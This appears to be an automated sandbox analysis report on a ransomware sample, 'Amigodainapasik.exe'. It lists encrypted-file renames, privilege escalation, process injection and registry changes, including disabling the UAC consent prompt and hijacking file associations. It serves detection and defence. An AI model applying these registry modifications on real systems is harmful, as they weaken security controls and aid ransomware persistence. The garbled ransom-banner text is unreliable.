File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\themes\dark\s_checkbox_unselected_18.svg.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ru_get.svg.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\media_poster.jpg.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\it-it\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_anonymoususer_24.svg.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\close-2.svg.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\sk-sk\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\close-2.svg.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sv-se\ui-strings.js.an8uxv2w	Amigodainapasik.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 19 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "\"%1\" %*"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\Software\Classes\exefile\shell\open\command	Amigodainapasik.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\exefile	Amigodainapasik.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\exefile\shell\open	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mimicfile\shell\open\command\ = "notepad.exe \"C:\\Users\\Admin\\AppData\\Local\\Amigodainapasik_Decryption.txt\""	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.an8uxv2w	Amigodainapasik.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\exefile\shell\open\command	Amigodainapasik.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\exefile\shell	Amigodainapasik.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\exefile\shell\open\command\ = "\"%1\" %*"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\Software\Classes\exefile\shell\open\command	Amigodainapasik.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\exefile\shell\open\command\ = "\"%1\" %*"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mimicfile	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mimicfile\shell	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mimicfile\shell\open	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.an8uxv2w\ = "mimicfile"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "\"%1\" %*"	Amigodainapasik.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\exefile\shell\open\command	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\Software\Classes\mimicfile\shell\open\command	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mimicfile\shell\open\command	Amigodainapasik.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
4812	notepad.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1976	PING.EXE

Suspicious behavior: EnumeratesProcesses 52 IoCs

pid	Process
832	Amigodainapasik.exe
832	Amigodainapasik.exe
1472	Amigodainapasik.exe
1468	Amigodainapasik.exe
1472	Amigodainapasik.exe
1468	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
3756	powershell.exe
3756	powershell.exe
4108	powershell.exe
4108	powershell.exe
1812	powershell.exe
3756	powershell.exe
4108	powershell.exe
1812	powershell.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe
832	Amigodainapasik.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3092	Amigodainapasik.exe
Token: SeSecurityPrivilege	3092	Amigodainapasik.exe
Token: SeTakeOwnershipPrivilege	3092	Amigodainapasik.exe
Token: SeLoadDriverPrivilege	3092	Amigodainapasik.exe
Token: SeSystemProfilePrivilege	3092	Amigodainapasik.exe
Token: SeSystemtimePrivilege	3092	Amigodainapasik.exe
Token: SeProfSingleProcessPrivilege	3092	Amigodainapasik.exe
Token: SeIncBasePriorityPrivilege	3092	Amigodainapasik.exe
Token: SeCreatePagefilePrivilege	3092	Amigodainapasik.exe
Token: SeBackupPrivilege	3092	Amigodainapasik.exe
Token: SeRestorePrivilege	3092	Amigodainapasik.exe
Token: SeShutdownPrivilege	3092	Amigodainapasik.exe
Token: SeDebugPrivilege	3092	Amigodainapasik.exe
Token: SeSystemEnvironmentPrivilege	3092	Amigodainapasik.exe
Token: SeChangeNotifyPrivilege	3092	Amigodainapasik.exe
Token: SeRemoteShutdownPrivilege	3092	Amigodainapasik.exe
Token: SeUndockPrivilege	3092	Amigodainapasik.exe
Token: SeManageVolumePrivilege	3092	Amigodainapasik.exe
Token: SeImpersonatePrivilege	3092	Amigodainapasik.exe
Token: SeCreateGlobalPrivilege	3092	Amigodainapasik.exe
Token: 33	3092	Amigodainapasik.exe
Token: 34	3092	Amigodainapasik.exe
Token: 35	3092	Amigodainapasik.exe
Token: 36	3092	Amigodainapasik.exe
Token: SeIncreaseQuotaPrivilege	832	Amigodainapasik.exe
Token: SeSecurityPrivilege	832	Amigodainapasik.exe
Token: SeTakeOwnershipPrivilege	832	Amigodainapasik.exe
Token: SeLoadDriverPrivilege	832	Amigodainapasik.exe
Token: SeSystemProfilePrivilege	832	Amigodainapasik.exe
Token: SeSystemtimePrivilege	832	Amigodainapasik.exe
Token: SeProfSingleProcessPrivilege	832	Amigodainapasik.exe
Token: SeIncBasePriorityPrivilege	832	Amigodainapasik.exe
Token: SeCreatePagefilePrivilege	832	Amigodainapasik.exe
Token: SeBackupPrivilege	832	Amigodainapasik.exe
Token: SeRestorePrivilege	832	Amigodainapasik.exe
Token: SeShutdownPrivilege	832	Amigodainapasik.exe
Token: SeDebugPrivilege	832	Amigodainapasik.exe
Token: SeSystemEnvironmentPrivilege	832	Amigodainapasik.exe
Token: SeChangeNotifyPrivilege	832	Amigodainapasik.exe
Token: SeRemoteShutdownPrivilege	832	Amigodainapasik.exe
Token: SeUndockPrivilege	832	Amigodainapasik.exe
Token: SeManageVolumePrivilege	832	Amigodainapasik.exe
Token: SeImpersonatePrivilege	832	Amigodainapasik.exe
Token: SeCreateGlobalPrivilege	832	Amigodainapasik.exe
Token: 33	832	Amigodainapasik.exe
Token: 34	832	Amigodainapasik.exe
Token: 35	832	Amigodainapasik.exe
Token: 36	832	Amigodainapasik.exe
Token: SeIncreaseQuotaPrivilege	1468	Amigodainapasik.exe
Token: SeSecurityPrivilege	1468	Amigodainapasik.exe
Token: SeTakeOwnershipPrivilege	1468	Amigodainapasik.exe
Token: SeIncreaseQuotaPrivilege	1472	Amigodainapasik.exe
Token: SeLoadDriverPrivilege	1468	Amigodainapasik.exe
Token: SeSecurityPrivilege	1472	Amigodainapasik.exe
Token: SeSystemProfilePrivilege	1468	Amigodainapasik.exe
Token: SeTakeOwnershipPrivilege	1472	Amigodainapasik.exe
Token: SeSystemtimePrivilege	1468	Amigodainapasik.exe
Token: SeLoadDriverPrivilege	1472	Amigodainapasik.exe
Token: SeProfSingleProcessPrivilege	1468	Amigodainapasik.exe
Token: SeSystemProfilePrivilege	1472	Amigodainapasik.exe
Token: SeIncBasePriorityPrivilege	1468	Amigodainapasik.exe
Token: SeSystemtimePrivilege	1472	Amigodainapasik.exe
Token: SeCreatePagefilePrivilege	1468	Amigodainapasik.exe
Token: SeProfSingleProcessPrivilege	1472	Amigodainapasik.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3404	Everything.exe
3668	Everything.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3092 wrote to memory of 832	3092	Amigodainapasik.exe	81
PID 3092 wrote to memory of 832	3092	Amigodainapasik.exe	81
PID 3092 wrote to memory of 832	3092	Amigodainapasik.exe	81
PID 832 wrote to memory of 3420	832	Amigodainapasik.exe	82
PID 832 wrote to memory of 3420	832	Amigodainapasik.exe	82
PID 832 wrote to memory of 3420	832	Amigodainapasik.exe	82
PID 832 wrote to memory of 1388	832	Amigodainapasik.exe	86
PID 832 wrote to memory of 1388	832	Amigodainapasik.exe	86
PID 832 wrote to memory of 1388	832	Amigodainapasik.exe	86
PID 832 wrote to memory of 1472	832	Amigodainapasik.exe	85
PID 832 wrote to memory of 1472	832	Amigodainapasik.exe	85
PID 832 wrote to memory of 1472	832	Amigodainapasik.exe	85
PID 832 wrote to memory of 1468	832	Amigodainapasik.exe	84
PID 832 wrote to memory of 1468	832	Amigodainapasik.exe	84
PID 832 wrote to memory of 1468	832	Amigodainapasik.exe	84
PID 832 wrote to memory of 3404	832	Amigodainapasik.exe	92
PID 832 wrote to memory of 3404	832	Amigodainapasik.exe	92
PID 832 wrote to memory of 3404	832	Amigodainapasik.exe	92
PID 832 wrote to memory of 2052	832	Amigodainapasik.exe	108
PID 832 wrote to memory of 2052	832	Amigodainapasik.exe	108
PID 832 wrote to memory of 3740	832	Amigodainapasik.exe	109
PID 832 wrote to memory of 3740	832	Amigodainapasik.exe	109
PID 832 wrote to memory of 4032	832	Amigodainapasik.exe	110
PID 832 wrote to memory of 4032	832	Amigodainapasik.exe	110
PID 832 wrote to memory of 5072	832	Amigodainapasik.exe	111
PID 832 wrote to memory of 5072	832	Amigodainapasik.exe	111
PID 832 wrote to memory of 844	832	Amigodainapasik.exe	112
PID 832 wrote to memory of 844	832	Amigodainapasik.exe	112
PID 832 wrote to memory of 4728	832	Amigodainapasik.exe	113
PID 832 wrote to memory of 4728	832	Amigodainapasik.exe	113
PID 832 wrote to memory of 4652	832	Amigodainapasik.exe	114
PID 832 wrote to memory of 4652	832	Amigodainapasik.exe	114
PID 832 wrote to memory of 3668	832	Amigodainapasik.exe	115
PID 832 wrote to memory of 3668	832	Amigodainapasik.exe	115
PID 832 wrote to memory of 4744	832	Amigodainapasik.exe	116
PID 832 wrote to memory of 4744	832	Amigodainapasik.exe	116
PID 832 wrote to memory of 4184	832	Amigodainapasik.exe	117
PID 832 wrote to memory of 4184	832	Amigodainapasik.exe	117
PID 832 wrote to memory of 3936	832	Amigodainapasik.exe	118
PID 832 wrote to memory of 3936	832	Amigodainapasik.exe	118
PID 832 wrote to memory of 4304	832	Amigodainapasik.exe	119
PID 832 wrote to memory of 4304	832	Amigodainapasik.exe	119
PID 832 wrote to memory of 1056	832	Amigodainapasik.exe	120
PID 832 wrote to memory of 1056	832	Amigodainapasik.exe	120
PID 832 wrote to memory of 2940	832	Amigodainapasik.exe	121
PID 832 wrote to memory of 2940	832	Amigodainapasik.exe	121
PID 832 wrote to memory of 3064	832	Amigodainapasik.exe	122
PID 832 wrote to memory of 3064	832	Amigodainapasik.exe	122
PID 832 wrote to memory of 4108	832	Amigodainapasik.exe	123
PID 832 wrote to memory of 4108	832	Amigodainapasik.exe	123
PID 832 wrote to memory of 1812	832	Amigodainapasik.exe	124
PID 832 wrote to memory of 1812	832	Amigodainapasik.exe	124
PID 832 wrote to memory of 3756	832	Amigodainapasik.exe	125
PID 832 wrote to memory of 3756	832	Amigodainapasik.exe	125
PID 832 wrote to memory of 564	832	Amigodainapasik.exe	152
PID 832 wrote to memory of 564	832	Amigodainapasik.exe	152
PID 832 wrote to memory of 1688	832	Amigodainapasik.exe	153
PID 832 wrote to memory of 1688	832	Amigodainapasik.exe	153
PID 832 wrote to memory of 2516	832	Amigodainapasik.exe	155
PID 832 wrote to memory of 2516	832	Amigodainapasik.exe	155
PID 832 wrote to memory of 2344	832	Amigodainapasik.exe	157
PID 832 wrote to memory of 2344	832	Amigodainapasik.exe	157
PID 832 wrote to memory of 3668	832	Amigodainapasik.exe	164
PID 832 wrote to memory of 3668	832	Amigodainapasik.exe	164

System policy modification 1 TTPs 13 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Policies\System	Amigodainapasik.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "\n\n￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾀﾃ￢ﾀﾃ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ\n￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾕﾚ￢ﾕﾐ￢ﾕﾐ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾀﾃ￢ﾀﾃ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ\n￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾝ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾕﾚ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾀﾃ￢ﾀﾃ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾝ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ\n￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾕﾚ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾕﾚ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾕﾚ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾀﾃ￢ﾀﾃ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾕﾚ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾝ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ\n￢ﾕﾚ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾝ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾕﾚ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾕﾚ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾝ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾝ￢ﾀﾃ￢ﾀﾃ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾕﾚ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾝ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ\n￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾕﾚ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾕﾚ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾀﾃ￢ﾀﾃ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾕﾚ￢ﾕﾐ￢ﾕﾝ\n\n￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ\n￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾕﾔ￢ﾕﾐ￢ﾕﾐ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾖﾈ￢ﾕﾗ￢ﾖﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕﾑ￢ﾖﾈ￢ﾖﾈ￢ﾕ